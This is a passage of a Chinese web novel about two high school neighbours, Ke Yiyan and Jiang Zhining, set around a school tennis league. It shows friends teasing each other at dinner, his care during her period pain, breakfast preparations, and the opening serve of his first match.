“闲杂人等。” 柯译衍毫不客气地打断说。 姜织宁默默扭头看向柯译衍，唇角逐渐翘起，三秒后，还是没忍住，眉眼弯弯轻笑出声。 闲闲杂人等？ 占子杰惊呆了，他顿时瞪大眼，挺直腰杆，不满道：“干什么，你不欢迎我啊？！” 周跃丞啧啧几声，阴阳怪气附和：“震惊，贵校作为东道主，居然对参赛球员这般恶劣态度，我要投诉了。” “知道不欢迎还来。”柯译衍冷声嗤笑，不留情面，戳穿质问，“全都在最后一天报名是想干什么？” “什么干什么，当然是来来比赛啊！”占子杰气势不足地说。 专业球员不去打专业比赛，集体偷偷摸摸跑来参加业余友谊赛，这不是搞笑吗。 “尤其是你。”柯译衍面无表情看向周跃丞，不客气骂道，“你不是在美国训练么，不参加橘子碗了？这个时候跑回来，是不是脑子有病？” “”周跃丞很无语，放下筷子回怼道，“教练都没你操心！橘子碗是下个月的事，你放一万个心，我会参加的，还有，几个意思啊？就你能参加网球联赛啊？” 柯译衍更无语，他懒得和脑子进水的人扯东扯西，紧抓重点，冷飕飕威胁：“你教练是不是不知道网球联赛什么性质？我现在给他打个电话怎么样？” 说着就从衣兜里拿出手机。 见状，周跃丞立马抢过他手机放到自己口袋里，不耐烦哼声道：“打什么电话，瞎操什么心，多管闲事！他当然知道啊，还鼓励我过来，没积分怎么了？友谊赛怎么了？我为校争光不行啊，我要代表雾京附中消灭你。” 柯译衍：“” 占子杰哈哈咧嘴笑起来，嘲道：“你水冰月附身啊，还代表雾京附中消灭你。” “水冰月是这个词吗？”周跃丞琢磨着问。 占子杰懒洋洋点头：“差不多吧，人家那是代表月亮消灭你。” 周跃丞煞有其事点了点头：“哦，难怪这么顺溜。” 柯译衍：“” 癫人，几个全是癫人。 很无语，他为什么会有一群癫人朋友？ 尤其这个姓周的，真实年龄到底几岁啊，确定是高中生吗？就他这脑子，网球怎么打到青少年世界排名前三的？ 这能继续保持下去吗，真为他前途感到担忧。 “得得得！一场学校联赛被你们搞成熟人局！” 俞杨至始至终坚定站柯译衍这边，不高兴吐槽道：“我说你们几个狗东西，偷偷摸摸做贼一样，我还是今天看到签表才发现你们要来！哈，是不是朋友啊，过来比赛也不提前打一声招呼吗？” “干嘛，想搞偷袭啊？劝你们趁早做好心理准备，下场绝对是笑着来哭着回去！我们大江中有衍神坐镇，联赛只会登顶，绝不可能被你们消灭！！！” “呵呵，怕死了。”周跃丞不屑撇嘴。 占子杰笑着说：“对对对，熟人局！哎呀，之所以不提前说，那还不因为柯译衍吗。” 柯译衍嗤笑一声，并不领情：“和我有什么关系。” 占子杰：“当然有关系啊，大家想给你一个惊喜嘛！” 柯译衍脸上没什么表情地说：“说反了吧，难道不是惊吓么。” 占子杰嘿嘿笑，解释道：“本来是没关注网球联赛，是丞哥意外发现名单上有你的名字，然后大晚上给我连发十几条消息，说你要参加网球比赛，好家伙，这不世界第九大奇迹吗，给我激动的一晚上没睡着！” “我比赛，你激动个什么劲？”柯译衍偏头看他，目光困惑。 坐角落的男生迫不及待插话说：“当然激动啊！衍神重出江湖哎，能不激动吗，否则这次我们也不会特意跑过来看你！” 柯译衍沉默了下，语气冷淡：“没这回事，俞杨手受伤，我代替他而已。” “哎，这不重要，反正结果就是你上。”占子杰兴奋说，“我和丞哥想着，很久没和你一起打球了，正好这次有机会，那就报名过来玩玩呗，其他人可不是我俩怂恿的啊，彤姐你说是吧。” 占子杰看向斜对面，名叫艾彤的女生。 艾彤笑起来，洒脱道：“这不是因为听说你俩报名了，所以我们也跟过来凑热闹咯，就当是球友团建，说不定还能顺路看眼大师赛。” 另一人说：“就是就是！大家难得见面，真挺好的！我还是第一次来江中呢，你们学校也太大了吧，看上去就财大气粗，还有这食堂饭菜，妈耶，比我们学校的破烂食堂不知道好多少倍！” 俞杨笑说：“你就吃吧，想吃多少吃多少，等空了，我带你去学校后门的美食街。” “哎，我说你，”周跃丞轻撞柯译衍胳膊，一脸怀疑问，“只是因为俞杨手受伤，你才替他上场？就没别的原因？我怎么那么不信呢。” “有啊。” 柯译衍懒洋洋回了声，与此同时，眼尾朝左侧轻瞥，冷冷斜了眼姜织宁那只不老实，欲偷偷夹向麻辣米线的手。 在他的死亡视线压迫下，那只手停顿在半空中，三秒后，伴随着轻声叹气，默默收回来。 他无声勾了勾唇角，满意挪开视线。 “怎么说？”周跃丞眼睛亮起来，“是不是打算重回球场？靠！等你很久了啊，早就想和你组双打了！” 柯译衍平静摇头，下巴突然冲姜织宁指了下，淡道：“她。” “啊？”周跃丞一头雾水。 “不是问别的原因么。”柯译衍慢吞吞说，“她啊。” “什么意思？” 周跃丞茫然看向姜织宁。 姜织宁并不知道这群人是什么身份，和柯译衍什么关系，所以刚才旁听得云里雾里，不懂他们就为了参不参赛这件事，到底在互相怼个什么劲？ 直到最后，她才大概听明白，这群人应该是专门冲着柯译衍来的。 正这么想时，姜织宁察觉到周跃丞盯着她看，她转头对上他视线。 校花不愧是校花，张扬夺目的美貌杀伤力极强，少女漂亮灵动的眼眸就这么直直注视着他，目光交汇间，周跃丞不可抑制的，被她看得有些晃神。 他下意识避开对视，尴尬得手足无措，两只手不知道在忙些什么，一会儿摸鼻尖，一会儿摸头发。 直到费劲控制好乱掉的心跳，他才重新扭头望向姜织宁，一本正经请教问：“那个就是想问问宁王，你是怎么说服柯译衍参加网球联赛的？” 说服？ “也没有说服吧。”姜织宁瞥了眼柯译衍，实话实说，“我只是提了嘴建议，建议他有空的话可以参加下校园活动，我们江中校园活动挺多的，都很有意思。” “校园校园活动？”周跃丞愣了愣。 她微微点头：“是啊，这次网球联赛不就是各大高中之间的友谊赛吗？” 周跃丞迟疑说：“是。” 姜织宁：“那就是校园活动。” “就就这么简单？你随便一提，他就接受你的建议了？？？” 周跃丞满脸不可置信。 姜织宁没回答，犹豫着该怎么说。 心想不全是因为她，她没那么重要，只是动了动嘴而已，人家俞杨那才是真情实感地苦劝，甚至扬言要带上纸巾，坐柯译衍家门口哭。 真是太感人了。 况且，最后做决定的还是柯译衍自己，没人能够左右他。 周跃丞看姜织宁一时没说话，便以为她默认，于是冲她竖起大拇指，佩服说：“建议得很好。” 夸完下一秒，目光立马瞪向柯译衍，摆出一副遭受背叛的不爽表情。 靠啊，他是真服了！ 自从知道柯译衍放弃网球的决定后，周跃丞就急得不行。 有段时间里，他就像街边勤快发传单的小哥，隔三岔五，给柯译衍转发各种网球比赛讯息，附加千字小作文，60秒长语音，轮流轰炸，为了怂恿柯译衍报名。 结果，他发出去的信息全都石沉大海，柯译衍这没良心的家伙，就跟个死人一样，毫无动静，理都没理过他。 简直浪费他感情！ 结果到宁王这里，呵呵好家伙！ 她随便一句话，就能让柯译衍改变态度，重回球场？ 尽管这只是高中之间的友谊赛，但说不定呢，说不定这场比赛会成为柯译衍改变心意的契机。 想到这，心酸了的同时，周跃丞不由再一次佩服感叹—— 牛逼！这位宁王是真牛逼啊！ 周跃丞上半身稍稍往后仰，目光越过柯译衍后背，朝姜织宁轻咳两声，姜织宁余光瞄见他小动作，愣了下，会意扭头，身体也跟着往后仰。 周跃丞嘴巴开开合合，打唇语说：“他真听你话。” “？” 对方说太快了，又是用的唇语，姜织宁没看懂，眼神茫然。 周跃丞刚想重复一遍，就被柯译衍强势按压住脖子，不客气将他推到餐桌前，“吃你的饭。” 周跃丞：“” 姜织宁好奇追问：“你朋友刚想说什么啊？” 柯译衍面无表情：“没用的废话。” 周跃丞：“” 每名参赛球员都被安排了固定的赛前训练时间，有人在白天，有人在晚上。 柯译衍的训练时间在下午，通常来说，他练完就可以回家了，但周跃丞这帮人特意为了他从全国各地赶来参赛，大家好不容易见上一面，自然不肯放他走。 于是柯译衍被他们强行留在网球场，从下午呆到晚上，一边看其他球员训练，一边闲聊。 晚上九点多，志愿者工作结束，姜织宁起身收拾东西，准备离校回家。 她和同伴一起清理掉座位周围的垃圾，装进黑色垃圾袋中，走向垃圾站扔掉。 回来路上经过网球场，姜织宁顺势扭头望去，球场灯火通明，还有不少球员在奋力挥洒汗水，认真训练。 这时，数名朝气蓬勃、神采奕奕，身背网球包的高大少年们有说有笑着，并肩从球场侧门走出来。 队伍为首的是占子杰，经过一顿晚饭后，他现在已经可以自来熟地喊出姜织宁外号。 “宁王！” 占子杰热情冲路过的姜织宁挥了挥手，笑眯眯打了声招呼。 姜织宁面露微笑。 柯译衍正听周跃丞讲话，闻声侧目，看到姜织宁身边女生背着书包，便问：“要回家了？” 姜织宁点头嗯了声。 她回到工作位，确认没有遗漏物品后，拎起书包。 柯译衍站在一旁耐心等待，姜织宁奇怪瞥他一眼：“你不和他们一起走吗？” 他微微摇头：“他们回酒店。” “哦，你们训练结束了？” “嗯。” 两人并肩而行，今晚，姜织宁依然选择走她喜欢的那条幽静小路。 秋天来了，高耸乔木上的绿叶逐渐染成金黄色，秋风吹过，树叶沙沙作响，争先打着转，如蝶飘落。 柯译衍打量着这条小路，随口问：“怎么喜欢绕远路？” “我对比过，其实也没有绕很远。”姜织宁笑了笑，“而且，你不觉得这条路的风景更好吗？” 好是好，但人少，尤其晚上的时候，一路走过来，他几乎没看到人影，他记得周静瑶说过，姜织宁曾经被男生尾随过。 一想起这件事，柯译衍便皱眉说：“你一个人晚上少走这边，不安全。” 她嗯了声：“我知道，晚上我基本不走这边，除非和周导一起。” 他挑了挑眉：“所以今天怎么回事？” “今天？”姜织宁手捂上肚子，下意识回了句，“不是有你在吗。” 她的语气无比自然，充满百分百的信任。 柯译衍沉默数秒，无言，因为少女突如其来的—— 有你在。 姜织宁一时没听到他回应，便主动问：“是吧？” 柯译衍勾起唇角，轻笑，慢悠悠嗯了声。 一路闲聊走进小区，在大厅里等电梯的时候，柯译衍再次瞥向姜织宁默默按在肚子上的手。 “肚子怎么了？” 姜织宁：“没什么事。” 柯译衍：“那你捂着干什么，好几次。” 她有些惊讶地看向柯译衍，心想，他眼睛怎么这么尖啊？ 而她的惊讶表情落到柯译衍眼里，完全就是心虚的证明。 简直要被她气笑，柯译衍无语看着姜织宁，冷声说：“姜织宁，我是不是早就提醒过你，不要吃那碗麻辣米线，可能会辣到胃痛。” “你呢？就是不听。” “还提醒过你，少吃点，尝几口就行，你也不听，非要逞强自己可以。” “嗯，这下好了，一语成谶，开始胃痛了。” 姜织宁安静捂着肚子，一言不发，任由他指责。 电梯叮一声到达九楼，门打开，两人一前一后走出来。 姜织宁拐向自己家之前，忽然止步转身看向柯译衍，然后一脸平静对他说：“我是生理期痛，上次也是。” 她也是吃完晚饭之后，才发现例假突然来了。 不算宽敞的走廊里，空气骤然陷入死一般的寂静。 啊？ 哦。 柯译衍沉默盯着姜织宁，半响，无比冷静地回了句：“嗯，那你早点休息。” 姜织宁没搭理他，扭头就走。 半个小时后。 微信上弹出柯译衍发来的消息。 【K】：睡了没？ 【Ning】：没，躺尸。 【K】：让赵姨做了红糖鸡蛋。 【Ning】：哦。 哦是什么意思？ 柯译衍没看明白。 【K】：想不想吃？ 破天荒的，他补发过来一句。 【K】：给你送过来？ 【Ning】：一般般。 【K】：想吃软糖吗？ 【Ning】：不想。 柯译衍知道姜织宁有吃夜宵的习惯，有时候晚自习放学回来，会碰见她坐在餐厅里吃阿姨做的夜宵。 不过她现在处于生理期，他能理解她人不舒服，胃口不佳，就没勉强。 【K】：行，先给你放冰箱，巧克力卷在红糖鸡蛋边上。 姜织宁本来都打算切出微信了，结果眼尖瞄到了巧克力卷四个字。 什么意思，赵阿姨做巧克力卷了？原来赵阿姨还会做甜品！ 她立马打字询问。 【Ning】：？ 【Ning】：巧克力卷是什么东西？ 很快，柯译衍给她发了张照片过来，很随意的拍摄角度，但掩盖不了甜品诱人的卖相。 姜织宁立马放大图片。 巧克力脆皮上洒满坚果碎，中间湿润糕体包裹着绵密奶油和整条生巧，看着就很好吃！ 于是，巧克力脑袋瞬间垂死病中惊坐起，飞速回复信息。 【Ning】：别！ 【Ning】：来了来了，我就算爬也要爬过来！ 【Ning】：我可以的！！！ 柯译衍欲打开冰箱的手随之顿住，情不自禁勾起唇角，笑叹了声。 她怎么这么可爱啊。 第50章 少年真的很耀眼 晚上温度低, 姜织宁从床上爬起来，打开衣柜，在睡衣外面穿了件雪粉色长款薄毛衣, 然后迫不及待开门跑向柯译衍家。 原以为巧克力卷是赵阿姨亲手做的，姜织宁欣喜坐到餐桌上, 正准备夸呢，却眼尖瞄到包装盒印着禾上的logo。 她愣住, 话卡在喉咙里，瞬间消音, 下意识望向坐在餐桌对面的柯译衍。 少年懒散后靠椅背, 微微垂眸, 正在给明天比赛用的网球拍更换手胶。 “你去阿姨餐厅吃饭了？” 姜织宁不动声色收回惊诧目光，一边往红糖鸡蛋里倒牛奶, 一边假装不经意地问。 白色手胶一圈圈缠绕住拍柄，最后用封口条固定住手胶, 做好一切，柯译衍把网球拍放到旁边, 抬眸望向她，平淡回：“没有。” 姜织宁轻轻哦了声, 也没敢多问巧克力卷怎么来的, 但她心里清楚, 大概率是柯译衍带回来的, 毕竟柯叔叔最近一直没回来过。 “好吃？”柯译衍看着她问。 “特别好吃。”姜织宁点头，试探说, “你要不要尝尝看？” 她将剩下半份蛋糕推给他。 “不爱吃甜。” 柯译衍淡声拒绝。 姜织宁又把蛋糕挪到自己这边, 故作轻松笑道：“哦，那太好了, 都是我的。” 柯译衍被她逗笑，微弯了弯唇角：“嗯，没人和你抢。” 姜织宁慵懒撑着脸颊，闲聊说：“我发现禾上的甜品都挺好吃的，不过我前几天去的时候，没看到店里有巧克力卷哎。” 柯译衍解释：“新品。” 今天上午，他专门去了趟熟人开的网球店，为了给两把球拍换线。 网球店新搬迁的地址就在禾上附近，都在一个商圈里，回程路上，他顺路经过禾上，凑巧瞥见餐厅服务生把宣传架拿出来摆到门口，宣传架上印着新品菜单，其中之一便是巧克力卷。 几乎是一瞬间，他就想到了姜织宁。 也丝毫没有犹豫，他直接脚底一拐，进店打包了一份巧克力卷带回来。 姜织宁安静吃着夜宵，柯译衍低头刷了会儿手机，突然掀眼望向姜织宁。 “需不需要吃止痛药？” “啊？”姜织宁茫然抬头。 柯译衍将手机锁屏，随意放到桌上，问：“你那肚子痛，需不需要吃止痛药？” 她慢吞吞呃了声，说：“那到不至于，没这么夸张。” 不至于，没这么夸张？ 这话顿时让柯译衍联想起麻辣米线的前车之鉴，他皱了下眉，用一种“你是不是在逞强”的怀疑眼神注视着她，质疑说：“不是说会很痛吗，得吃药什么的。” 姜织宁陷入片刻的迷茫。 谁说的？ 不是，他突然关心她生理期干什么啊？ 姜织宁目光无意识掠过桌面，第六感作祟，视线倏地停留在柯译衍的手机上，她后知后觉反应过来，迟疑问：“你是不是上网搜了？” 难怪他刚才一直在低头看手机。 “” 柯译衍沉默看着她。 “真搜了啊？” 姜织宁微微睁大眼，目光亮晶晶，忍不住抿唇笑道。 三秒后，柯译衍面无表情看向别处，平静反问：“有什么问题？” “啊，没问题没问题。”她缓慢深呼吸，强忍笑意，一本正经解释道，“这种事因人而异吧，每个人体质不一样嘛。如果和姑姑比起来，我就比较幸运，算还好那种，身体肯定会不舒服，但也没到吃药那个地步，姑姑就比较严重了，她不吃药不行，是真的很痛。” 柯译衍也是第一次了解这些，听完她科普，琢磨着说：“所以还是会难受。” 姜织宁点头：“那当然啊，身体多少会有点难受的，提醒你一句啊，以后你女朋友生理期的时候，你千万让着点，少惹她生气。” 女朋友？ 他愣了下，垂眸轻咳一声，淡声说：“你想的倒挺远。” 不是姜织宁想得远，而是她知道柯译衍的人气确实高。 柯译衍在学校里为人低调，不收情书不收礼物，对外明摆出一副无心恋爱的冷淡态度，但是，实在架不住少年自身魅力大，平时私底下有的是女生对他主动。 颜值高低并不是帅哥们找女朋友的唯一标准，也许是灵魂共振，又或是其他原因，任何因素都有可能成为好感的契机。 年少的心动悄无声息，纯粹热烈，来得毫无道理。 姜织宁心想，青春期的少女是各种颜色、与众不同的花，各有各的耀眼，说不定哪一天，柯译衍就遇上了他的灵魂共振，谈起恋爱了呢？ “我呢，这是在好心给你打预防针。”姜织宁笑着眨了眨眼，松弛靠向椅背，目视着他，苦口婆心地劝，“否则你女朋友肯定会觉得你很下头，而且你绝对会挨骂，很惨那种。” 说完，她又补了句：“以上是来自姑姑的亲身案例，一般人我才不和他说。” 柯译衍唇角微挑，下巴朝红糖鸡蛋指了下：“吃完了？” 姜织宁嗯了声。 夜已深，时间不早了，她起身，作势把碗拿向厨房水槽。 “放着就行。”柯译衍阻止说。 姜织宁依言放下：“那我回去啦。” 柯译衍嗯了声，提醒她：“早点休息，别熬夜玩手机。” 她扬眉看他。 柯译衍双手懒散环至胸前，不咸不淡表示：“网上说的。” …… 隔天一早。 柯译衍起床换好衣服，再次检查一遍球包里的物品，确认无误后，走向餐厅吃早饭。 餐桌上没有瞧见姜织宁的身影，他有些意外，便问了嘴：“赵姨，姜织宁没过来吃早饭？” 赵阿姨把早餐陆续端出来，笑回：“宁宝带着早餐先去学校了，她说志愿者要提前过去准备。” 餐盘中切好的全麦面包抹了层黄油，旁边摆放了牛肉、三文鱼、鸡蛋，还有各类蔬菜、低脂酸奶和红糖。 早餐和平时略有区别，烹饪方式也不太一样，不过这样的组合搭配很眼熟，显然是适用于比赛期间的健康营养配餐，他以前比赛时基本就这么吃。 柯译衍沉默了一瞬，抬眸看向赵阿姨：“这是？” 赵阿姨笑起来：“译衍，你今天要参加网球比赛是吧？哎呀，你怎么不和阿姨说一声呢，还是宁宝提前告诉我，叫我给你准备好比赛期间吃的低脂高糖营养餐，我才知道这件事。” 她忍不住夸了句：“宁宝很细心呢，专门给我发了好几份参考食谱，说是找业内人要的。” 其实这位业内人就是俞杨。 姜织宁原本想从网上找，后来想了想，觉得还是问熟人更靠谱，于是去请教了俞杨，俞杨是个热心肠，事关柯译衍那就更上心了，他很快列好详细清单发给姜织宁。 柯译衍安静注视着眼前的早餐，心绪有些复杂。 有那么一瞬间，他想起了曾经待他如父亲一般的网球教练Peter。 Peter拥有四分之一中国血统，外婆是华裔，所以Peter私下十分热爱厨艺，尤其是中餐，之前他在国外训练比赛的时候，偶尔会住在教练家，Peter经常为他准备营养早餐。 对他而言，那是一段年少时期为数不多的愉悦时光。 柯译衍收回思绪，淡声说：“不是什么大事，只是学校里的普通比赛。” “学校里的比赛也是比赛呀！”赵阿姨不赞同道，“这哪能分普通不普通呢，况且你们还处于长身体的年纪，饮食方面更要注意。” 说着，她又端出来一个五颜六色的水果盘。 果盘由苹果、芒果、猕猴桃、浆果组成，上面撒着坚果、奶酪和糖粉，最显眼的是，最中间的苹果块上插着一面红色小旗帜，旗帜上印着“旗开得胜”四个字。 赵阿姨笑眯眯说：“这旗帜是宁宝亲手放的，她说，祝你今天比赛旗开得胜。” “她怎么不亲自和我说？”柯译衍失笑道。 赵阿姨：“惊喜嘛，而且她来不及呀，很早就去学校了，早餐都是打包带走的。” 旗开得胜，她特意送给他的意外惊喜。 柯译衍慢悠悠吃着早餐，时不时抬眼看向那面旗开得胜，心情相当不错 比赛第一天，晴空万里的好天气。 江洲中学锣鼓喧天，旗帜飘扬，彩带纷飞。 盛大开幕式结束后，全国中学生网球联赛正式开始，来自全国各地高中，共计两百多名青少年球员将争夺冠军之位。 最终远超预期的报名人数让赛事组委会十分惊讶，不过，前期一盘定胜负的赛规使得比赛进程并不算缓慢。 网球场上欢呼呐喊声不断。 有人沮丧被淘汰，遗憾一轮游，有人激动举起球拍，庆祝自己进入下一轮。 姜织宁身为活动志愿者，无法擅自离岗观看比赛，除了柯译衍那场比赛，她被允许以同班同学的身份到场加油。 “挪到四号球场了？” 姜织宁抬眸看向跑过来找她的俞杨，起身问。 俞杨笑着说：“是啊，本来衍神被安排在一号球场嘛，结果一号球场那两位球员还在缠缠绵绵抢七呢，比赛时间延后，组委会就给调整到四号球场了。” 姜织宁：“那现在过去？” 俞杨敞开腿，抱臂大剌剌坐下：“不着急，广播会通知的，等会儿吧。” 两人说话时，周胜扬背着球包，和几名同伴从眼前路过，俞杨看见这群人，眼珠子瞬间凝在周胜扬身上，止不住地笑起来。 笑声格外刺耳，周胜扬停下脚步，冷眼斜向俞杨，不爽质问：“笑什么笑？” 要是平时，俞杨早就开麦怼回去了，但今天，他只要一想起周胜扬会被柯译衍无情吊打，就忍不住心生同情，觉得他好惨。 俞杨翘起二郎腿，悠悠叹了一口气，阴阳道：“没笑什么啊，倒是你，今儿看着心情不太好啊？唉，好心提醒你一句，友谊第一比赛第二，输了就输了，没事啊，不行咱们明年再来嘛。” 周胜扬脸色阴沉。 他动了动唇，想骂人，但眼看姜织宁还在场，为了在她面前维持形象，没办法骂太难听，最后只能冷斥一句：“神经病！” 男生们头也不回地快步离开。 “哎，这就破防了，啧啧啧，这么说不起！”俞杨嬉皮笑脸，扭头对姜织宁说，“估计他待会儿输了要摔拍，这周狗，肯定是怕了，他昨天都没来赛前训练。” 姜织宁：“就因为柯译衍？” 俞杨：“对啊，原本球员都要赛前合练的，估计周狗发现对手是柯译衍，就不敢来了，所以昨天衍神才和丞哥对练。” “这么夸张啊。”姜织宁疑惑问，“周胜扬很怕柯译衍吗？” 俞杨笑着说：“怕啊！毕竟从小就屡战屡败，从来没赢过衍神，肯定是有心理阴影的，主要是周狗心眼忒小，他输不起球！” 半个小时后，学校广播播报—— “请江洲中学柯译衍选手，江洲附中周胜扬选手，前往4号球场准备。” 俞杨立马起身：“走吧宁王。” 半路上，两人在路口遇上刚热完身的柯译衍。 少年今天穿了身显眼的江中网球队队服，单肩背着黑白拼色网球包，头发乌黑蓬松，身型修长，大长腿线条流畅，肌肉匀称漂亮，充满力量感。 极其利落有型，冷酷帅气的一身。 姜织宁安静注视着柯译衍慢悠悠朝她走来，心头莫名一紧，她这同桌，今天看着格外英俊帅气，像是个闪耀的光源体。 等柯译衍走近，俞杨抬手拍了拍他肩膀，笑嘻嘻说：“怎么样啊衍神，速战速决啊？” 柯译衍没回，垂眸望向若有所思盯着他的姜织宁，低声问：“怎么了？” 俞杨目光随之挪向姜织宁。 姜织宁恍惚回神，眨了眨眼：“没事，走吧。” 三人走在路上，俞杨扭头问柯译衍：“对了，你带香蕉没？运动饮料没忘带吧？没带的话我这里都有，我妈特意给你准备了。” 男生举起手上的透明塑料袋。 柯译衍顺势瞄了眼，袋子里装着香蕉、能量棒、巧克力，以及水和运动饮料，全部是球员在比赛休息期间的能量补给。 最显眼的是，和姜织宁准备的惊喜一样，塑料袋上也贴了枚“旗开得胜！”的红色贴纸。 这些东西他全都有，柯译衍原本想拒绝不要，但瞄见那枚红色贴纸后，他目光停顿了下，微微扬眉。 他下意识看向俞杨和姜织宁，很难不怀疑，这两人是不是提前私下说好了。 顾及到阿姨的心意，柯译衍没说什么，直接顺手接过：“谢了。” 俞杨啧了声，无语斜他一眼：“和我客气什么！” 接下来，俞杨又啰里八嗦说起别的。 “哎衍神，你待会儿上场后别太用力啊，放轻松打，洒洒水得了，那周狗要是被你打急眼了，铁定当场摔拍！” “我可不关心他球拍摔没摔坏，我心疼是咱们球场地面。” “我看你棒球帽都不用戴了，反正太阳也不大，今天这场对你来说就是热热身，相信我，绝对半个小时完事。” 柯译衍听到后面，有些不耐烦起来，冷脸呛了句：“话这么多，你怎么不去做教练？” “你俞老师给你支招呢，别不耐烦！赛场上你认真点啊，小心周狗给你使阴招！”俞杨就是个操心命，严肃提醒说。 柯译衍眼神困惑：“干什么给我使阴招，我怎么他了？” “哎哟！以前你俩比赛，他每次都输很惨啊，在背后冲你骂骂咧咧好几次，你忘了？？？” “是吗？”柯译衍没什么印象，不在意道，“不记得。” 俞杨当场翻了个白眼，扭头对姜织宁说：“啧啧啧，瞧他这凡尔赛！” 姜织宁抿唇笑起来。 这时，旁边传来一道呼喊。 “衍神！” 三人同时扭头望去。 视线不远处，江中网球队队员围聚一起，校队教练和李老师都在场，看样子是在赛前指导。 吴瑞奇冲柯译衍挥了挥手，招呼说：“过来一下，赛前讲话！” 柯译衍犹豫三秒，迟缓想起来，哦，他现在是校队的人。 这新身份，让他怪不习惯的。 柯译衍认命叹了口气，面无表情抬脚走过去。 李老师笑眯眯望着身穿队服的帅气少年，心里满意极了，等柯译衍走近后，他特意抬起手，带头热情鼓掌说：“来！我们掌声欢迎柯译衍同学加入江中校网球队！” 话音落下，网球队队员们立马热烈鼓起掌来，你一句我一句，起哄欢迎着。 “wu！！！！！” “Ace！！！Ace！！！” “欢迎衍神加入校网球队！” “欢迎！欢迎！热烈欢迎！” “Ace来了！” “我们的大王牌来咯！” 柯译衍：“” 嗯，服的。 这老谋深算的李老师，就这么强行拉他入队了，全程没给他拒绝的权利。 柯译衍无话可说，只能平静瞄向鼓掌鼓得最起劲，却不敢看他一眼的吴瑞奇。 江洲中学是网球联赛的承办方，所以学校体育组最先知道参赛球员的信息，第一版报名表打印出来的时候，校队教练过来看了眼，当时并没有觉得哪里不妥。 谁知道，报名截止那天晚上，快要凌晨的时候，报名系统后台突然新增了一批人，那集体卡点的报名行为，很难不怀疑这群人是故意约好的。 简直和恶作剧一样。 隔天，终版报名表打印出来，校队教练赶来看，很快发现名单里多出了周跃丞、占子杰、艾彤这帮在网球圈内已经小有名气的球员。 群星荟萃，有趣。 国内实力天花板级别的青少年球员，几乎全跑过来参赛了，悄无声息的，也没人提前打个招呼。 这让校队教练感到非常意外，也同时觉得，年轻人，挺有意思。 都是一个圈子里的人，教练自然知道这帮来踢馆的专业球员球技强悍，所以赛前讲话环节，除了往常那些叮嘱，教练额外提醒了一句—— “要允许自己输球，坦然接受丢分！输球后，严禁内耗，必须及时调控心态，不要因为输球丢分而丧失斗志，专注打好下一分！明白？” “明白！”队员们掷地有声回应。 校队教练满意点头，扭头看向李老师：“李老师，我这边讲完了，你看看有什么要补充的。” 李老师笑道：“技术方面，心理方面，王教练已经指导得很全面了，我这边没有要补充的。” 于是，教练一个眼神示意，所有队员立马默契围成圆圈。 李老师饱含力量的目光从队员们脸上逐一扫过，然后抬手握拳，带头喊起口号：“全力以赴！全力挥拍！123，江中——” “Gold ！Gold ！Wu！！！” 江中网球队所有人目光坚定，集体高声呐喊校队口号 相比较其他网球场，4号球场的人气简直高到离谱。 广播播报之后，有人第一时间跑到铁网外面锁定最佳观看位，有人挤在看台上高处眺望，男男女女，抱着各种心思，全都是特意来观看柯译衍比赛。 周静瑶拿着相机准时赶来，看到柯译衍后，足足愣了好几秒，才晕晕乎乎回过神。 她扭头看向姜织宁，震惊夸道：“我去，柯译衍今天这么帅啊？！！！” 姜织宁静默了下，反问：“你也这么认为？” 原来不是她的错觉，而是少年真的很耀眼。 “对啊，这不就是活体模特吗！他这一身，都可以直接去拍运动广告了！” 周静瑶啧啧两声，立马举起相机，抓拍正和教练说话的柯译衍，嘴上不忘赞美夸道：“不错不错，不愧是校草，咱们大江中之光！” 俞杨在看台上找好位子，冲姜织宁挥手高呼：“宁王，这里这里！” 他喊完后，双手叉腰，扭头看向旁边排排坐，那帮赛前偷摸报名的朋友们，无语笑道：“你们怎么全过来了，都不比赛啊？” 占子杰满不在乎地说：“比啊。” “那你还悠闲坐这里，不去热身准备？！”俞杨吼道。 皇帝不急太监急，占子杰相当淡定，老神在在回了句：“急什么？等会儿再过去，柯译衍的比赛更重要，能看一点是一点。” 其他几人也是相同回应，都是同一个意思—— 自己比赛没柯译衍重要。 这帮大佬们云淡风轻的态度让俞杨哭笑不得，他摇头叹气坐下来，佩服鼓掌：“牛逼！” “柯译衍对面那个人，是谁来着？”周跃丞忽然开口问。 俞杨不屑回：“没分量的路人甲。” “什么来头？叫什么名？” “周狗。” “啊？” “不是，没骂你，那人和你同姓，叫周胜扬，简称周狗。” “哈？周胜扬啊？”占子杰向前倾身，插话说，“我说怎么看着有点眼熟呢，他以前在我那个网球俱乐部上过课，我记得他家挺有钱，人品不咋地，他现在还在打网球吗？” 俞杨嘲道：“周狗那实力，早就没打了。” …… 离开之前，姜织宁轻轻喊了声：“柯译衍。” 柯译衍止步，侧身回头看她。 秋日阳光斜斜落在他身上，柔和光晕笼罩他发间，少年盛气蓬勃。 姜织宁仰头注视着他，翘起唇角，笑道：“加油啊。” 柯译衍勾唇笑了笑，迎着灿烂阳光，从容走进球场。【你现在阅读的是 】 50-60 第51章 他专一长情恋爱脑 赛场上一切准备就绪, 裁判在空中上抛硬币，以硬币落地后的那一面来判定两位比赛选手的站位和发球权。 紧接着，赛前合影。 等球员在规定时间内原地热身结束后, 裁判发出指令：“柯译衍to serve。Ready，Play。” 比赛正式开始。 第一局, 柯译衍的发球局。 姜织宁坐在看台高处，目光专注望着赛场上的白衣少年。 柯译衍侧身立于底线位置, 右手握着网球拍，匀速拍打网球, 冷静瞄准好球的落点。 他左手自下而上将球抛至半空, 与此同时, 侧身引拍，屈膝弓背蓄力, 在球下降的瞬间，身体如闪电般迅猛跃起。 清脆有力的“砰！”一声, 网球在空中飞速划出一道完美抛物线，球线刁钻, 擦着外角边线砸去。 一记凶狠凌厉的漂亮发球，落点又深又重, 非常具有观赏性。 周胜扬奋起挥拍去追, 结果步伐不到位, 慢了好几拍, 他手中球拍根本够不到球，最后只能眼睁睁看着球飞走, 二次落地。 裁判：“15-0。” 观众席瞬间一片哗然。 “卧槽, 衍神上来就是个ACE球啊！” “这外角斜线打得真漂亮，可太牛逼了。” “柯译衍发球也太猛了吧, 这叫人怎么接？？？” “妈呀，擦着边线，又深又重，如果是我，绝对战术性放弃，根本接不到啊。” “这发球是真的牛逼！网球咻一下就飞过去了，速度快到根本看不清有没有出界” “绝对线内啊，但是擦着线，只能说球的落点太特么绝了！” “太吓人了吧，估计这发球时速接近200km/小时。” “这场发球局周胜扬要被吊打了，衍神绝对能保发。” “柯译衍加油！！！” “江中加油！！！” “周胜扬加油！！！” “附中加油！！！” 